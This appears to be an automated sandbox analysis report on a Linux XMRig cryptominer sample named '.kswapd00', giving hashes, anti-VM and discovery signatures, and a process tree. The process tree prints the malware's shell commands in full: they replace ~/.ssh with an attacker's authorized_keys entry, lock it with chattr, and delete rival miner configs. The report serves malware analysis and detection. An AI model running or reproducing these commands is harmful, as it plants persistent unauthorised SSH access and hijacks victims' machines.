Overview

overview

10

Static

static

5

.kswapd00

ubuntu-22.04-amd64

10

Analysis

  • max time kernel
    299s
  • max time network
    287s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    03-01-2025 07:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    .kswapd00

  • Size

    2.1MB

  • MD5

    1c36e8aaac825bcb9a086ecf2a471c89

  • SHA1

    66cb901aadae8db4511a364024d555427d78d3f9

  • SHA256

    7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574

  • SHA512

    8a65ee52874ec24b4dda49e63153aec981bd310c49245f5d26592824a1ad0da52c7233c31e7a380ba1fe9aeff6f453db1345686eceafb8b6dfd80f9eef25dda1

  • SSDEEP

    49152:WWD683TqbMtemJOGmHBox1Q6jtSVVO7EHsq8:J6dM3OGUCoPVs7EH8

Score
10/10
xmrigxmrig_linuxantivmdiscoveryminer

Malware Config

Signatures

  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • XMRig Miner payload 1 IoCs
    miner
  • Attempts to change immutable files 6 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/.kswapd00
    /tmp/.kswapd00
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Changes its process name
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1587
    • /bin/sh
      sh -c "sh -c 'chattr -ia ~/.ssh; cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~; chattr +ia ~/.ssh' >> /dev/null 2>&1"
      2⤵
        PID:1589
        • /usr/bin/sh
          sh -c "chattr -ia ~/.ssh; cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~; chattr +ia ~/.ssh"
          3⤵
            PID:1590
            • /usr/bin/chattr
              chattr -ia "~/.ssh"
              4⤵
              • Attempts to change immutable files
              PID:1591
            • /usr/bin/chattr
              chattr +ia "~/.ssh"
              4⤵
              • Attempts to change immutable files
              PID:1592
        • /bin/sh
          sh -c "sh -c 'chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json' >>/dev/null 2>&1"
          2⤵
          • Attempts to change immutable files
          PID:1593
          • /usr/bin/sh
            sh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"
            3⤵
            • Attempts to change immutable files
            PID:1594
            • /usr/bin/chattr
              chattr -ia "~/.xmrig.json"
              4⤵
              • Attempts to change immutable files
              PID:1595
            • /usr/bin/rm
              rm -rf "~/.xmrig.json"
              4⤵
                PID:1596
              • /usr/bin/chattr
                chattr -ia "~/.config/xmrig.json"
                4⤵
                • Attempts to change immutable files
                PID:1597
              • /usr/bin/rm
                rm -rf "~/.config/xmrig.json"
                4⤵
                  PID:1598

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/cert_key.pem
            Filesize

            1KB

            MD5

            99c24798cefa2dd4d36b695585f5e818

            SHA1

            127f1982010e782d3cc223ad8f6eafac838df226

            SHA256

            10c199bed53bed342f1737ff7a954e7821a7b96631448c1853950ca7d2c34be0

            SHA512

            14368c835f2ff8b803d4e5725ada27214de31b1eb4482e56ad7c04afb95d5ee675b2e1b175396d7e6092734d3946760814ce5daaad68c40c53a279d6a47290dc

            Download Submit

          • /var/tmp/sdfIESll923
            Filesize

            5B

            MD5

            32b3fd0dac3d8c344f97fddd263e4d65

            SHA1

            4081bd590df5bea25ef9106c0e38ab31c33caf84

            SHA256

            fa2ee8b60b8f5d897641819a70415cd602060df5d1379a07f5e4ed987c6e947d

            SHA512

            1d0568e1b2c5937e1972d57d2347bbf58130745a2b841585adc4c731041f76a00f6af0eee866c7aa68d672af42f58fdd69cfd5033b9e65ed01554d4df2c14a33

            Download Submit